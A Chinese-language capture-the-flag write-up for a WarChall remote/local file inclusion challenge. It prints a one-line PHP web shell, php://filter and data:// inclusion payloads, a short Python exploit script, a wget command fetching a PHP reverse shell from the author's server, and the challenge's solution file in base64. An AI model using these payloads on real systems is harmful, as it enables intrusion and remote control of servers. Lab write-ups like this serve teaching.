题目地址
访问http://rfi.warchall.net/。
web目录fuzz,以及index.php查看源码
远程命令执行漏洞
查看文件
| http: conf.txt index.php.bak live_rfi.config.php.bak payload.php sol.php~ sol.txt solution.php.bak tplc
|
http://rfi.warchall.net/temp/payload.php?cmd=pwd
/home/level/15_live_rfi/www/temp
| http://rfi.warchall.net/temp/payload.php?cmd=ls%20-al%20/home/level/15_live_rfi/www
total 44 drwxr-x--- 5 root level15 4096 Jun 3 2012 . drwxr-x--- 3 root level15 4096 May 8 2012 .. drwxr-x--- 2 root level15 4096 May 8 2012 cache -rwxr-x--- 1 root level15 168 Jun 3 2012 de -rwxr-x--- 1 root level15 157 Jun 3 2012 en -rwxr-x--- 1 root level15 894 Jun 3 2012 index.php -rwxr-x--- 1 root level15 4762 Mar 14 2014 live_rfi.config.php -rwxr-x--- 1 root level15 300 Jun 3 2012 solution.php drwxrwx--- 3 root level15 4096 Jan 18 2019 temp drwxr-x--- 4 root level15 4096 Jun 3 2012 tpl
|
获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=temp/payload.php
echo PHByZT48P3BocCBzeXN0ZW0oJF9HRVRbImNtZCJdKTsgPz48L3ByZT4=| base64 -d <pre><?php system($_GET["cmd"]); ?></pre>
--- http://rfi.warchall.net/temp/payload.php?cmd=whoami
level15 权限不够,无法执行wget shell写入
--- http://rfi.warchall.net/temp/payload.php?cmd=pwd
/home/level/15_live_rfi/www/temp
---
`http://rfi.warchall.net/temp/payload.php?cmd=base64 /home/level/15_live_rfi/www/solution.php`
将solution.php base64编码,然后本地或者在线网站解码,翻到最下面就可以得到flag。
|
尝试写入shell
本地开启python server,放一个反弹shell的php脚本。
| curl http://rfi.warchall.net/temp/payload.php?cmd=wget http://vps's IP:8080/php-reverse-shell.php -P /tmp/whale.php
目标机器成功访问vps的php-reverse-shell.php,但没有写入whale.php --- http://rfi.warchall.net/temp/payload.php?cmd=ls /tmp/whale.php
|
没有成功在/tmp目录下写入shell。原因可能是权限太低了。
writeup
| import requests
url = "http://rfi.warchall.net/index.php"
params = { "lang": "data://text/plain,<?php print file_get_contents('solution.php',true);?>" }
r = requests.get(url, params=params, verify=False) print r.content
|
这是个什么操作?
访问http://rfi.warchall.net/index.php?lang=data://text/plain,<?php print file_get_contents('solution.php',true);?>
反正失败了,没得到solution.php的结果。使用另外一种伪协议php filter
http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=/home/level/15_live_rfi/www/solution.php
| echo PGh0bWw+Cjxib2R5Pgo8cHJlPk5PVEhJTkcgSEVSRT8/Pz88L3ByZT4KPC9ib2R5Pgo8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCByZXR1cm4gJ0xvd19INE5HSU5HX0ZydWl0JzsgPz4K | base64 -d
|
同样可以获得solution.php
总结
出题方,肯定不会让人写入shell,或者反弹shell,不然服务器稳定性肯定会出问题。说不定会有些人写入垃圾数据塞满磁盘等等。
rfi和lfi的区别在于,远程文件包含危害更大,可以访问攻击者指定的文件。
在这里如果http://rfi.warchall.net/temp/payload.php?cmd=wget http://vps's IP:8080/php-reverse-shell.php -P /tmp/whale.php
有写权限的话,就可以得到一个shell。而本地文件包含一般要通过文件上传的方式去传一个shell,然后再通过本地文件包含漏洞去执行,而rfi就不用。
不过这里payload.php看起来像是远程命令执行漏洞,不是个rfi。而其他人的writeup虽然使用了data伪协议,去访问flag,但看起来好像还是个lfi漏洞。可能是题目没出好。
感觉没有让做题的人深刻的感受到rfi与lfi的区别,只是用了一下伪协议的知识点。
参考资料
浅谈文件包含漏洞